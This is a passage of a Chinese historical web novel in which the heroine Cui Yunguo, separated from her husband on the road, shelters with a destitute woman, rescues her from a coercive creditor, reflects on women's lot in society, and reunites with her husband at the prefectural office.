余靖川觉得凤淮的反应委实有些奇怪,他虽不知凤淮身世,但从他日常的衣食住行,穿着配饰来看,凤淮这厮怎么看都不像是差钱的人,他深深的睇了说话那人一眼,只觉他们可怜,被凤淮的话套着走,不过,他很想知道凤淮背后打的什么算盘,配合着那官员点头,回忆往昔的同时不忘分析是谁家的夫人出手如此阔绰
“我家娘子以前在世时也爱这些钗钗环环,只可惜往日俸禄微薄——近日貌似除了户部的魏员外郎外也无其他官员调任要途经此地,魏员外郎夫人乃竹溪富商之女,这么一说你救下的估计是他的夫人”
凤淮引导了半天终于把话引到了崔云归身上,他笑意加深
“那夫人刚烈勇猛的很,我到时她还握着长钗与提刀的匪寇对峙,生生让匪寇挨不到她半根头发,我救下她后便让温序秋护送她去宿州与她夫君会面”
话说到这,余靖川总算是看清了凤淮葫芦里卖的什么药,他在心里白眼都要翻到天上去了,兜了这么一大个圈子,最后竟然是给魏员外郎的夫人正名,先是不识所救之人身份,后又是特意强调这妇人刚烈勇猛,最后又把他那个师妹搬了出来,真是好周密的心思!
余靖川斜愣凤淮一眼,打算成全他
“序秋?你那个师妹也来了?”
他刻意放大了声音,又把师妹两个字咬的极重,生怕别人听不见温序秋是个女子一般。
上道!
凤淮勾唇一笑,“嗯”了一声,牵着缰绳与余靖川并驾齐驱,进行这场谈话的收尾
“她正巧在这办差事,江停枫是个傻小子,护送一事让他去也不妥,姑娘家的事还是让姑娘家去办的好”
——————————
相较于凤淮那边的谈笑风生和崔云归那边的惊心动魄,魏麟这边就静默平淡的多。
崔云归坐的马车受惊跑了出去,如今不知所踪。这树林里有毒虫蛇蚁还有劫道的山匪,为了众人的安全,魏麟让随行的人去找了崔云归半个时辰后便勒令所有人原地休整,等明日一早再骑快马去宿州报案。
这个决定正得其他人的心,若要去找崔云归必须去到森林各处还需得将他们一群人分散,这样一来遇到危险的概率大大增加,再者身为男主子的魏麟都已经下达了这样的命令,那他们就更懒的去冒这个险,总归一个女主子的死活与他们没有本质上的利益捆绑关系,还不如就抱团守在一处,增添几分活命的可能。
他们是高兴了,被迫拘在这的春寻三人却心事重重,皆是哭丧着脸,冬藏年纪最小受不住这种压抑的气氛,加上平日里崔云归多宠爱她,所以胆子也大,她朝春寻靠了过去,暗戳戳鼓动着春寻一起去找崔云归
“春寻姐姐,姑娘还没有找到……”
秋收也靠了过来,语气明显不悦,很不赞同魏麟的决策
“大奶奶是大爷明媒正娶的娘子,现在大奶奶下落不明,大爷不遣人出去找也就罢了,为何还把我们拘在这干坐等天明再去报案?”
春寻心里本也就对魏麟这个决策窝火,这下又接收到了来自冬藏和秋收二人同样的不满,她难得冲动的带着冬藏和秋收到魏麟旁边去
“大爷”
俗话说先礼后兵,春寻恰当好处的给魏麟行了礼,如若不是残存的理智还在提醒她魏麟是崔云归的夫婿,是崔家的姑爷,是她们的主子,她怕是一秒就要变成竹溪东街头卖豆腐的程十娘子,双手叉腰将他骂个狗血淋头!魏麟在马车里坐立难安,他正想掀开帘子下去走走,却和春寻三人撞了个正着
“何事?”
魏麟吓了一跳,强装镇定的佛袖弯腰重新坐回了马车里。
她们的姑娘下落不明,做为丈夫的他却还能气定神闲的坐在马车里,身为和崔云归自小相伴的三人火冒三丈高,最后那点残存的理智也被烧灭个精光,尤其冬藏更甚。
她一心除了吃就全是崔云归,眼见着自家姑娘自从嫁入侯府起便委曲求全,受尽磋磨,以往尚且还顾忌自己的言行会给自己姑娘带来灾祸,故而虽不服但也恭顺,但今时不同往日,现在自家姑娘性命垂危,不知生死,这人还这样的事不关己,冬藏一上头就丝毫不顾忌魏麟的身份,夹枪带帮的挖苦起来
“姑爷好生坐着罢,我们三人自小伴着姑娘长大,便就是在找姑娘的路上死了也要在地下保佑我们姑娘平平安安”
“你……你!”魏麟又急又气,一句话梗在喉咙里涨的面红耳赤,寸笺忙上来给他拍背顺气“大爷莫生气”
魏麟何曾被人这样骂过?纵观两世,便是他的父母双亲与妻子都不曾对他说过这样的话,更何论冬藏只是一个小婢女,魏麟颤巍的指着冬藏,恨不能现在手上有把剑能砍了她的脑袋
“大胆!你这刁奴!真是不知所谓!这林子里蛇鼠流窜,匪寇横行,没准你现在出去就和那匪寇撞个正着,立马就被抹了脖子也不一定”
他大喘着气,自认为自己的良苦用心未能得到理解。
总归是得罪了,冬藏也不畏惧把他得罪彻底了,嘴一撇就要开始输出,关键时候还是春寻拦住了她,起初她还是不服,直到被秋收扯住她才乖乖的站着。
春寻上前侧了半步,把冬藏掩身后
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,坚定道:“大爷,我们不怕,如冬藏所说,我们三人便就是做了鬼也要在地下保佑大奶奶平平安安,就请大爷准许我三人去找大奶奶吧”
魏麟哑然,一方面仍觉得她们三人是不知所谓,一方面又不能阻止忠仆寻主,闭闭眼也就默许了他们三个出去找崔云归。
寸笺直觉不好,他瞄了眼毅然决然走近暗夜中找崔云归的三个婢女,又不动神色的瞅了瞅魏麟,他以为自己动作细微,不料直接被魏麟抓个正着
“看我作甚?没听到说做鬼也要在地下保佑大奶奶平平安安吗?!”
寸笺苦不堪言,主子受了气可不就是逮着他骂吗,他在心里暗暗责怪春寻三人多事,面上却早已换成了谄媚的笑
“是,我这就安排他们一起去找大奶奶,今晚就是把这儿翻过来也要找到大奶奶!”
“……”
不要说把这儿翻过来找,就是再翻个十遍也不会在这片森林里找到崔云归,因为崔云归早已和温序秋共乘一骑远离那是非之地,来到宿州城门脚下的一家农户家借住。
话说和凤淮分别后,崔云归原本是想返回去找魏麟的,但她方才本来就是坐在马车里被拉出去的,根本不知自己往哪个方向跑的,又念及魏麟无论如何都要去宿州,所以就索性让温序秋带着她直接来宿州了。
再一个,崔云归也想能赶在城门关闭前一刻可以进城去找家客栈梳洗沐浴一番,只是生活没能如愿,她们到的时候,巍峨的城门紧闭,莫说是人了,就是一只蚊子也飞不进去。
无奈之下,温序秋只得退而求其次,带着崔云归找农户借住,找来找去只看到一家人家门口还挂着一盏小灯,两人别无选择,敲响了农家的门。
来开门的是一个散发着药香味的妇人,看着约莫三十左右,身着布衣,头发梳成一个髻,用布包着,垂下来的碎发枯黄,耷拉在她那张虽略微凹陷但依旧秀美清丽的脸上。
一个身患顽疾的清丽佳人,这是崔云归对徐三夫人的第一直观印象。
与崔云归浅显的观察相对,温序秋对眼前妇人的观察就来的精确的多,眼前妇人虽身带药香,面容憔悴,但却没有病气,又见她探颈,圆肩,塌腰,盆骨外扩,这是生育过孩子的,结合她身上的药香,温序秋推测眼前之人是一个带着孩子在家照顾病人的可怜妇人。
似乎是为了佐证她的猜想,房内传来了几声男子有气无力的咳嗽声,温序秋更坚定了自己的猜想。
得出结论后她悄无声息的把手从缠腰软剑的剑柄上移开,揖了一礼
“夫人,我们夫人路经于此,本想进城歇息,未曾想晚来一步,城门已闭,见夫人门前灯还未灭,便想来此借住一宿,不知夫人可否行个方便?”
崔云归和温序秋在观察妇人的同时妇人亦在打量她二人,起初她疑惑,后又充满了戒备,在听完温序秋的话后面露难色,崔云归一直留意着她的表情,见此还以为借宿无望,没想到那妇人还是打开了门,侧身将她们迎了上去,道:
“我家中贫困,只有茅屋两间,姑娘与公子若不嫌弃就在这歇一晚罢”
看来不止她一个人错认了温序秋,崔云归不合时宜的想。
由于长相和身高几乎每个见过温序秋的人都会错认她为男子,这对温序秋来说是家常便饭,她也懒得解释了,和崔云归一同作揖向妇人道谢:“多谢夫人”
12.第 12 章
“咳咳”
崔云归翻了个身,小心的把拉起被子蒙过头顶,被子陈旧的不知用了多少年,里面棉絮早磨去了,如今只余薄薄一层,已没了御寒的作用,崔云归压根不敢大力拉扯它,忧心稍一用力就把它扯坏了。
妇人所说的家中贫困当真没有半点虚假,但她说的茅屋两间明显夸大,这茅屋与其说是两间倒不如说一间,所谓两间只不过用木板隔出了两个空间而已。
正因如此,这房一点也不隔音,躺在床榻上清晰到连里边屋子里的人翻身的动静都能听到。
崔云归久处富贵不知人间疾苦,今日见闻,无一例外不在撼动着她对整个世道的看法。她怀疑崔府最末等的仆婢也比这住的好,吃食什么先不论,单说住所,崔府最末等的仆婢虽住的空间逼仄,但也有一床足矣抵御寒冷的棉被,这夫人竟……
她心中一片涩然,越想越深,本就毫无睡意这下更是脑清目明,崔云归干脆不睡了,披衣掀被下了床,搬了个矮凳打算去院里坐一坐,让夜风吹散一些她的愁绪。
甫一坐下,崔云归就听见院中有悉悉簌簌的异响,接二连三的遇害经历不住的挑逗着她的神经,崔云归立马戒备起来,竖起耳尖分辨声音的来源,确定声音是从西南角传来的后崔云归提起裙摆掉头就想回房找温序秋,行至一半,崔云归突然想起来温序秋不久前才睡下,她蓦然停下,左顾右盼一番,最后抄起妇人随手放置在石头边洗衣的棒槌在空中挥了两下
不错,还算称手。
崔云归深吸一口气,举着棒槌蹑手蹑脚往厨房走去。提起裙摆跨过横栏,方才在院中听到的悉簌声越发明显,崔云归按兵不动,蹲在墙边听了片刻,听到的是女人的啜泣声和男人粗重的喘息声,期间还不时有碰撞声,崔云归越听越觉得不对劲,她总觉得这声音有种诡异的熟悉感。
“哐当”一声响,里面似乎是有什么东西掉落在地上,崔云归的记忆也被这声“哐当”唤醒,她大骇,厨房中竟是一对男女在颠鸾倒凤?
不过,这院中除了妇人一家三口与借宿而来的她和温序秋五人外暂无他人,温序秋和妇人一家三口尚在房中酣眠,那是何人在此行苟且之事?崔云归转过去的半幅身躯重新转了回来,她单手扶在门框上,小心谨慎的从虚掩的门缝往里看,猝不及防的,她撞进了一双凄婉无助的泪眼里,泪眼的主人是收留她和温序秋过夜的妇人。
她不愿!她是被迫的!她在遭受凌辱!
崔云归重新握起了棒槌,平复狂跳的心,一脚踹开了虚掩着的门,在房中两人都还未反应过来时抡起棒槌一捶砸在了男人的背上。
男人吃痛,惊叫一声,崔云归又以迅雷不及掩耳之势痛砸了几下,将男人打的抱头鼠窜,崔云归则站到妇人身前,瘦弱的身躯毅然决然的将衣不蔽体的妇人挡在身后。
男人被连着捶了几棍后也缓过神来了,他摸着被打痛的肩膀,凶神恶煞的回头放狠话
“嘶,呸,一个快死的人了劲还挺大,敢打老子!老子今天就弄死你……”
咒骂声在男人看到崔云归的那一刻戛然而止,片刻后,男人的肩膀在这时不医而愈,他甩动着手一步步向崔云归她们靠近,滑腻的目光将崔云归自上而下反反复复扫射了几遍,一副垂涎三尺的模样。
崔云归暗暗握紧了手里的棒槌,偏生那男人毫不在意她手上的棒槌,死到临头还满脸□□的用言语极尽侮辱挑拨她们
“呦,我就说你今日怎么死活不愿去房里,原来房中除了你的死鬼夫君还藏了个美人儿,你看你,若早说你房里有美人何苦今夜和我来这,这样吧,你将这美人给老子睡一回,你欠我的那些银子就不用还了”
妇人不受他蛊惑,反而奋力的推开崔云归
“姑娘快走!”
她这般仗义,崔云归投桃报李,右侧一步将妇人的脸完全挡在身后,她眸光阴冷,忍着恶心直盯着露出一口恶心黄牙的男人与他做着最后的谈判
“我乃忠节侯府大公子之妻,圣上亲封的诰命夫人,我夫君奉圣谕前去竹溪上任,我与他在前方林中路遇流寇不幸走散,今借夫人府邸歇息一晚,不曾想竟遇到此等强夺之事,你若识相便快快离去,不识相那我便就要喊人了,不过我劝你想清楚,我并非孤身一人来此,我的护卫正在房中躺着,若我的叫喊声将她引来,就不止见官那么简单了,奸污朝廷命妇,论罪九族当诛,你自行掂量去吧!”
门外藏匿起来的温序秋悄然退到一边,她憋笑憋的辛苦,崔云归神情自如,一本正经扯谎的样子不知怎就戳中了她的笑点。
崔云归转动手腕,调整了一下握棒槌的手,她保证,只要男人敢靠近,她一定会毫不留情的再给他一闷棍,至于她刚才胡诌的那些东西也不完全是假的,上一世魏麟袭爵后她确实被圣上封为永和郡夫人,确有其事,她当然理直气壮。
听到牵连九族之时男人迟疑的停下了脚步,他并非亡命之徒,家中尚有妻儿老小,只不过如何判定这人是不是扯谎的,他狐疑的重新扫视起了崔云归。
这次他的目光不再集聚在崔云归的脸上,于是便很快注意到了她的耳坠,白玉质地,色泽莹透纯净,一看便知绝非俗物,光是这个耳坠,他的怀疑就打消了大半,只是他还是不甘心,目光一转,打上钱财的主意
“我不动你行,但她我是绝对不会放过的,她不过一介娼妓,老子出钱睡她有何不对?况且她借了我三两银子,老子睡她一回抵四十文,她这是在还债!识相点的你就给老子滚远点”
崔云归岂能听信他的一面之词,举着棒槌侧眸低头向地上的妇人求证,妇人眼神闪烁,哭的梨花带雨,崔云归意会到了其中的意思,单手摘下了一对白玉耳坠丢到了男人脚下
“这对耳坠价值四两银,足以抵债,从此以后这位夫人与你再无纠葛,若你再借机行□□之事,我定饶不了你!”
得了钱,男人不复凶恶,转而奴颜婢膝
“是,是,夫人放心,我决计不会再来缠弄她”
用钱财换平安,崔云归觉得这笔买卖很划算,心里也多了几分底气,她疾言厉色
“还不快滚!”
男人把耳坠小心得揣进怀里,提起裤子心满意足的走了。崔云归疑心男人有诈,在男人走后还举着棒槌出去查看一番,确定了男人真的走了,崔云归才把棒槌丢在地上。
丢开后崔云归才发觉掌心火辣辣的疼,摊开手掌一看,掌心连带着五指,都被磨得通红。
崔云归吃痛的曲了曲手指,回头想扶起跪坐在地上的妇人,妇人却早在崔云归出去查看情况之时站了起来,并收拾妥当了。只不过这崔云归一转身她又重新跪到了地上,可劲的往地上磕
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头,哭的眼泪一把鼻涕一把
“叩谢夫人,夫人大恩大德,我永生永世都记在心里……”
“夫人何须如此,快快起来”
有很多人拜过崔云归,或感谢她的恩赐,或祈求她的宽恕,这些人无一例外都是有求于他,崔云归以往都能安心的受着,唯独现在,她觉得自己受之有愧。
妇人犹自哭的上气不接下气,崔云归无奈,蹲下身掏出锦帕,犹豫了一下后还是把锦帕摁上了妇人的脸。崔云归能很明显的感受到妇人顿了一下,片刻后又扶住她的手哭的愈发厉害,她并没有放声痛哭,她只是将脸埋进锦帕里,崔云归也只是感受到了锦帕被眼泪慢慢浸湿。
许是妇人很久没有痛快地哭过一场,这次她哭的彻底,哭的崔云归蹲着的腿都麻了。放肆的哭过后,那些藏匿好的情绪便如同如同洪水冲垮了堤坝,倾注而下。
情绪烘托至此,徐三夫人搬过厨房里烧火的小马扎,两人对坐,崔云归缄默的听着徐三夫人诉说属于她的人生
“我本是一个浣纱女,父母一共生了五个,只养活三个,我在家中排行老大,底下还有两个弟弟,长到十五岁时,被父母用六两银子卖给了徐郎,徐郎在家中行三,幼年丧父,十四岁丧母,两个姐姐都嫁到外地去了,生活也不尽人意,好在徐郎幸得贵人相助做了卖货郎,他无牵无挂,人又踏实肯干,年纪轻轻就攒下一笔钱财,这个小院便是他买下的,早些年我与徐郎刚成亲那会儿生活还算富足,直到五年前的一个冬日,徐郎挑着货担出去叫卖后不见踪影,第二日傍晚,我才同人在冰窟里找到他,一看才发现他的手脚皆被打折,我变卖家产竭尽所能才救回了徐郎一条命,但因救治时间太晚,寒气入体太盛,徐郎腿脚再不能走,也由此染上咳疾,久治不愈,只能日日用药温养着,这药不算贵,一日两日没什么,但长年累月如此,我……亦是有心无力,夫人,我实在走投无路才会做出那等见不得人之事!”
如所有听客一样,崔云归基于自我认知内有自己独特的疑问
“夫人何不去做工?”
徐三夫人苦笑:“夫人身处高位自然不知我的难处,因着徐郎病重,我不得入府为奴为婢,便只能去茶馆饭店讨份工做,但他们欺人太甚,一样都是打杂做事,甚至女子所司职务更为繁琐劳累,男子一日一百二十文薪酬,到我们女子手中只有堪堪七十文,一日的开支都是不够的……可怜我的孩,几年不识荤腥滋味,六岁大了竟比四岁孩童还不如”
崔云归羞愧难当,往日嗤笑书中“何不食肉糜”,不曾想今日自己也成了晋慧帝,她生硬的转口
“你官人可有说是谁把他手脚打折的?”
徐三夫人摇摇头
“我每每问起他只说天下不公,别的一个字也跌不出来”
说到这,她又流下泪来
“我知道徐郎他是怕连累我,他是怕我知晓人后去找那人要说法,可他又怎知,就算他不告诉我、不连累我,我的日子也是寸步难行,如今还……,说起来,终究是这个世道对我等贫苦女子太不公了”
“……”言多必失,多言多错,崔云归唯有沉默。
无论是作为富商嫡女还是侯府夫人,她都享尽了富贵,在此情形下,她的每句话都会化作双面利刃,一面扎破她的浅薄无知,一面扎碎徐三夫人的故作坚强。
13.夫妻会合
万丈苍穹之上半轮下弦月如钩于云翳中若隐若现,星子失了月亮的照耀而暗淡无光,黑沉沉的夜笼罩着苍茫的大地,风卷满树林的清冷从远处的山谷赶来,吹的崔云归满心孤寂。
徐三夫人大哭一场后又挂上笑脸去侍侯她身患重症的夫君去了。她走了,却给崔云归留下了一地思绪。
崔云归枕在手臂上垂眸看着地上一行忙碌的蚂蚁出神,徐三夫人说世道对贫苦女子不公,这个说法存在一定误区,这个世道并非只对贫困人家的女子不公,对富贵人家的女子同样不公。
她逝去的母亲便是最好的例子。
犹记得幼时,母亲周幼宁常常将她抱在膝上讲大漠孤烟直,长河落日圆,讲荆溪白石出,天寒红叶稀,讲孟冬十月,北风徘徊,讲女子也不该困于后宅,该多去外边走一走,长长见识,只每每话题进行到这,母亲旁边的大丫鬟怜心总会提醒母亲少言,当时她年纪尚小,不明白母亲说的这些都是什么,只知道母亲说起这些的时候眸光亮如星辰,比她最喜爱的那块锟铻石还亮。
在她的记忆里,这样的日子似乎没过多久,她长到四岁初,父亲一台小轿迎了柳姨娘进门,祖母叫母亲去陪说话时间渐渐的多了,外祖母约母亲外出的请柬一封一封的往府里递,母亲却一日比一日的沉默,自然也不再同她讲边疆的落日、山涧的清泉以及十月的冬风,更多时候,母亲总是独自一个人坐在她亲手的搭的秋千上透过四四方方的院墙看北去的鹤、南归的雁,后来母亲的小腹鼓了起来,在她五岁时,在她又一次可以从四角的院墙上空看到大雁时,母亲产下了一对龙凤胎后便撒手人寰了,府里有丫鬟说是双生子害死了母亲,崔云归当时也这样认为。
她记得那天,母亲强撑起身体给她带上了一个虽陈旧但不掩精美的璎珞,崔云归换了一侧脸枕,右手抚上自己的脸,凉的,但还是没有那日母亲摸在她脸上的手凉,那时候,母亲冰凉的手摸上她的脸,满怀歉意的说让她照顾好弟弟妹妹,说她对不起她,一生到头,终究还是未带她去看她讲过的那些好风景,又说这样也是极好的,没有领略过外界,也许便能麻木的待在宅院中……她说了很多很多,一直说到她没了气息。
起初,小小的崔云归以为母亲是位博学多才的女子,所以才能出口成诗;后来,经历过丧母之痛的小云归独自收拾母亲的遗物时从中翻出了一本周幼宁自书的《山河杂事》,翻开第一页,上面写:
十一月二十日,天放晴,借马从幽州游南山,及狮峰岭见一怪洞,遂要兄同往,二人腰系麻绳,兄在前,我在后,秉烛蛇形一里有余,豁然开阔,举烛观望,洞中处处钟乳蟠结,或兔或妙龄女子,皆成物像。
崔云归没能忍住翻看起来,最后沉溺其中,看完后犹自久久不能抽离,那一刻,通过婉约俏丽的笔力一幅波澜壮阔的山河画卷在她眼前浮现。
忽然间,她一下间便长大了,她隐约明白了不是双生的弟妹害死了母亲,甚至凉薄的父亲和阴狠毒辣的卫姨娘都不是主谋,真正害死母亲的是这个世道,是这个专吃女子的世道,是这个禁锢女子自由、践踏女子灵魂的世道!
她的母亲周幼宁本可以用自己的脚步丈量河山,著成那本引人入胜的《山河杂事》,流传千古,可这世道不允许女子见太多的世面,不允许有女子的著作流传于世,于是周幼宁不由分说的被绑进了宅院里,对着四方高墙消磨她的一生,仿佛她来人世一趟,唯一的价值便是给夫君诞下男婴,延续香火。
可凭什么呢?
天地蒙始,女娲与伏羲交合生人,人承衍嗣之责而分男女,同样为伏羲氏后裔,为何女子就要遭遇这些不公?
新生诞于妇人的裙裾之下,世道却对女子加诸束缚,这又是为什么?
这个问题崔云归想到清晨的朝阳都升了起来还是没能得出答案。
“夫人与公子好走”
徐三夫人一手牵着羸弱的孩童一手扶着门框跟崔云归二人道别,温序秋笑着躬身算作回应,崔云归欠身道谢,目光触及到了母子两因长期营养不良而过分消瘦的身体,她终究还是不忍,临走前一刻忽地返回去摸了一对珠钗塞到徐三夫人地手里,又借着屈膝摸孩童脸的功夫从手上褪下一只玉镯塞给他。
“夫人再会”
崔云归给完东西趁着她们母子二人还未缓过神来,留下一句话便带着温序秋匆匆离去。徐三夫人看了看自己手上的珠钗,又拿起了儿子手上的玉镯,蓦然,她双眼湿润,眼含热泪,拉住儿子的手对着崔云归离去的背影深深跪拜下去,哪怕知道崔云归不会回头,哪怕知道崔云归看不到。
崔云归与魏麟走散,无论如何魏麟都会来宿州的府衙报官,温序秋便和崔云归这个当事人商量了一下,最后两人一致决定由温序秋把崔云归送到府衙去安置。
但在此之前,崔云归无论如何都要去客栈沐浴更衣,因为首饰不好当场变卖,崔云归住客栈的钱还是温序秋掏的,当然,给崔云归请梳头娘姨的钱温序秋还是得掏。
至于为什么要请梳头姨娘,答案很简单,崔云归十指不沾阳春水,自小无论去哪都是前呼后拥,仆婢环身,哪里用得着她亲自梳头,她能做到的最大限度就是找条布帛将头发捆起来,至于温序秋,梳得倒是比崔云归强一点,但仅仅强在她可以把头发在头顶上束成一个马尾。
温序秋掏得心碎,一想到昨天刚被凤淮扣了十两银子,就更肉疼的捂住钱袋不肯松手,害得梳头娘姨连看了她好几眼,最后要走时还不忘提点她对自家娘子要大方,这样才能守住得住貌美的娘子。
“……”
温序秋真的心疼自己,不仅要掏钱给崔云归付账还要充当崔云归的跑腿去当铺当首饰,如今还要被梳头娘姨“提点”,温序秋心里苦,温序秋不说。
好在这种心里的痛苦并没有持续多久,因为崔云归把当首饰得来的银钱还给她了。
当了一些首饰,又做了两天的散财童子,崔云归头上的那堆钗钗环环已然所剩无几,配上她身上穿着的徐三娘子的粗布麻衣,这素净的装扮倒有几分出水芙蓉,返璞归真的韵味。
兜兜转转几番,温序秋终于把崔云归送到了府衙。
说来也巧,温序秋和崔云归前脚刚到,后脚魏麟就带着随行的仆婢来府衙报官,这下正好,官也不用报了。温序秋护送崔云归的任务圆满完成,装模做样的向崔云归辞行
“夫人告辞”
之所以是装模做
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样,是因为凤淮交给她的主要差事是监视崔云归的一举一动,她现在的辞行不是离去,而是换一种形式跟着。
崔云归忽略掉身边三个哭的不能自己的仆婢,再趁势把手臂从魏麟掌中抽了出来,微笑欠身
“姑娘慢行”
温序秋抱拳回礼,魏麟立在崔云归身旁和崔云归一起目送温序秋离去。
待温序秋的背影消失在眼前魏麟便迫不及待的再次握紧崔云归的手,目光灼灼的落在崔云归身上,仿佛在看什么失而复得的珍宝。
不仅是他,崔云归能很明显的感受到身后的三道目光落在她身上同样炽热。
这种目光让崔云归直觉心中发虚,挣开魏麟的手率先爬上了马车,春寻三人立即也要跟上去,但出师未捷身先死,被魏麟抢先一步赶到后面的马车上去了。
魏麟紧挨着崔云归坐下,这时候才注意到崔云归衣裙粗糙,发鬓素净,他伸出手,轻轻碰上了她的发髻,用大拇指摩挲着她的发
“娘子受苦了”
崔云归偏过头去,躲开他揉她发鬓的手,语气倦怠
“大爷劳心了,幸得贵人相救,我不曾受苦”
这可是她使了银子请梳头娘姨梳的头,岂能让他三两下揉乱?
提起有人相救,魏麟好似才想起来若凭崔云归一人之力逃脱魔爪乃是无稽之谈,于是问道:
“娘子可知是何人搭救?”
“不知”
崔云归摇摇头,脑子里不由自主的浮现出了凤淮那张恣意张扬的脸,复又补充道:
“我听旁人叫那人为大人,想必也是某个调任的官员”
魏麟听罢疑惑:“这倒也奇怪,我出来时倒也不曾听说有哪位大人调任要途径此处”
“如此我便不知了”
知不知的不重要,那支价值不菲的孔雀金钗已经作为报酬送了出去,现在重要的是一夜未眠的她困了。崔云归自动忽略魏麟想要交谈的模样,闭上眼睛开始养神。
“……”你的孔雀金钗呢?
魏麟欲说出口的话随着崔云归闭上的眼睛而卡在喉咙里,他自然知道崔云归不想与他交谈,以往崔云归虽然也对他不咸不淡,但每每他说话,崔云归都会认真倾听,偶尔也能宽慰宽慰他,或出谋划策,或红袖添香,总之不该是这样。
到底是什么时候开始这样的呢?
魏麟凝视着她般般入画的脸,绞尽脑汁地回忆妻子的变化从何时开始,却发现思绪像一团乱麻,抓不到起点,找不到终点,他只能作罢,继续凝视着妻子地脸,从额头到眉毛,再从眉毛到眼睛,顺着再往下,就是青黑的眼底。
崔云归皮肤白,眼底的青黑在她脸上分外显眼,就是往脸上盖十层粉也遮不住,更何况现在她素面朝天。
他怜爱的伸手想触碰她眼底的那一小块黛色,末了,他还是放下了手,想来他也许久未曾好好看过自己的妻子了,他静默着用目光一遍遍描摹崔云归的样子,生出了要是时间可以在此停止的荒唐想法。
魏麟也被自己荒唐的想法吓得回了神,他垂眸,眼神汇聚在崔云归的手腕上,又开始撒癔症。
他想,似乎能一直这般看着她也是极不错的。
14.初见端倪
崔云归大难脱身后魏麟再也不敢图快走小路了,转而老老实实的走官道,就是这样一来,到达竹溪的时间又得往后推两日了。
马车又摇摇晃晃的走了几日,终于邻近了竹溪。据赶车的车夫估算,最晚还有两日便可以到竹溪了。
暮色苍苍,夕阳西下,印有忠节侯府印章的马车徐徐驶入弋城,径直往城中最大的客栈驶去。
山林遭遇匪寇就她一人命悬一线,其他人都没事,甚至银钱都没丢走一分,那匪寇明晃晃的是直追她而来,结合几月前在水月庵遇到的那三个黑衣人和两次都出现的燕子刺青,崔云归再迟钝也明白了有人想要她的命。
崔云归不想重现自己满山林逃窜的场景,于是决定从源头上避免。
俗话说只有千日做贼,没有千日防贼的,因为贼防不胜防,但崔云归认为该防的还是要防的,就例如,她现在完全不接受露宿山林,哪怕马腿跑出火星子来,她晚上也得宿在客栈里。
“娘子”
魏麟先行下车递出手去好让崔云归有个借力好下车,崔云归避开他的手掌,撑在他的手臂上下了车。
魏麟很满意,一边虚揽住崔云归的腰一边惦念着崔云归写的家信
“此时天色尚早,我给家中去封信,娘子一并把给岳丈写的家信也交于我吧,我去找个信客,让他连夜出城,快马加鞭,约摸明日午时信就可交到岳丈手中”
他始终觉得在外与女子有逾矩举动并非君子所为,哪怕那人是自己的妻子。
崔云归不在乎他心中所想,她从春寻手中接过信给魏麟
“劳烦大爷走一趟,就与信客说送到碧水巷的周府”
魏麟捏着那薄信封有些许纳闷
“上次娘子往竹溪寄信便是寄去周府,我也听春寻提起你的外家是周府,但我同你此次回的是岳丈家中,这信不该是寄给崔府?”
上次?
崔云归眉心微动,好半天才回想起来她在确定要回竹溪后确实让春寻给她寄了封信给舅舅舅母,她漫不经心
“舅舅待我如亲女,我回竹溪来自然要与他说,只是写信劳神,我就只写了一封去表明此事,父亲又与我外家不合,送到父亲手中,父亲怕是不能给舅舅,先送与舅舅,他看完后自会差人给父亲”
前世是有听说崔云归父亲和外家不合,魏麟深信不疑的点点头,把信揣进衣袖里
“这也使得,天快要黑了,你在客栈待着莫要出来,我带寸笺去寻信客送信,你可有什么想吃的?回来时我一并带来”
崔云归冷然:“并无,大爷快去快回”
实际上,她身边能养出冬藏这样的性子,就代表她本质上口腹之欲也不算轻,只是不想和魏麟多言语罢了。
这几日不知魏麟是心虚还是怎的,总是有意无意阻拦三个丫鬟和崔云归单独相处,冬藏好几次想与崔云归说话都被他以各种理由打发了出去。
冬藏的话在心里足足憋了几日,这下魏麟出去送信了,她也找到了机会,噼里啪啦倒豆子般的把崔云归遇害那日晚上魏麟的行事尽数说与崔云归听,春寻和秋收拦都拦不住。
原以为崔云归听了定然会与她们一样愤怒,哪知她神色淡淡,好似没有听到一般。
哪有人听到丈夫放弃自己不心碎的?
难道姑娘这是哀莫大于心死?!
冬藏开始悔恨自己为何嘴要那样快,说些有没的惹姑娘不开心。
几人活动场地从浴桶移到贵妃榻上,沐浴完的崔云归倚在榻上专心致志看秋收一丝不苟的给她染指甲,冬藏握着梳子给崔云归顺着头发,因未得到崔云归的回应而惴惴不安
“姑娘,你倒是说句话啊”
崔云归举着一只染好指甲的手左右翻转欣赏了一下,神色寡淡道
“他素来待我凉薄,这有何可说的”
她说完,三个婢女的大气都不出。
刚染上凤仙花的手指还包着绿叶,现在看也是看一堆绿叶,崔云归不把魏麟放在心里,她眼眸轻转,开始和三个小姑娘讲诉那晚她在徐三夫人院里的英勇无畏。
崔云归稍加粉饰,隐去了徐三夫人被迫为娼,遭人凌辱的事,专挑凸显自己英勇的地方讲,她讲的抑扬顿挫,让人仿佛身临其境
“姑娘怎被那贼人发现了?后来呢?后来呢?”
冬藏头发也不顺了,趴在贵妃榻的倚背上追问,秋收和春寻也停下了手上的动作,聚精会神的等崔云归的后续,崔云归侧躺着用左臂支起身子,右手做了个握棒槌的动作,在虚空中挥了几下
“后来姑娘我挥着徐三夫人浣衣用的棒槌三两下就把那贼人打的抱头鼠窜,他自知不是姑娘我的对手,大喊饶命抱着头落荒而逃了!”
“哇……”
冬藏张开嘴,尽力想象崔云归拿棒槌追着人打的样子,只是她想了半天都难以将冰美人似的姑娘与她自己口中手持棒槌惩恶扬善的侠女联系在一起,她眨着眼睛干巴巴的道:“姑娘英勇神武!”
“那是自然!”
崔云归显摆完了,十分满意的靠了回去,说了句冬藏听不太懂的话
“见侮而不斗,辱也”
冬藏果然听不懂,缠着秋收给她解释意思
“秋收姐姐你跟在姑娘身边读书最多,你同我说说姑娘这说的是什么”
秋收被她磨的没办法,耐心给最后一个指甲包上绿叶后起身戳了戳冬藏的脑袋,拿她也是半点办法没有
“你呀你……”
女子欢声笑语的打闹声萦绕耳畔,魏麟像木雕一样站在崔云归房门口一定不动,寸笺睨着魏麟的神情,见他一直在呢喃低语,他们相隔有距离较远又因为魏麟声音太小了导致寸笺听不清楚,他上前几步凑过头去才听清魏麟口中的呢喃
“见侮而不斗,辱也”
冬藏贪玩不识书,寸笺却听得懂,见侮而不斗,辱也,面对不公和欺凌时,选择沉默和不作为被视为一种耻辱。
他后撤一步退回原位,偷觑了主子,只见魏麟反复呢喃,眼眸晦暗不明,掩在宽袖里面的手指无意识的摩挲着。凝眸几瞬,他指腹微曲,最后握紧成拳转身离去,寸笺在原地愣了一瞬便也紧跟着魏麟离去。
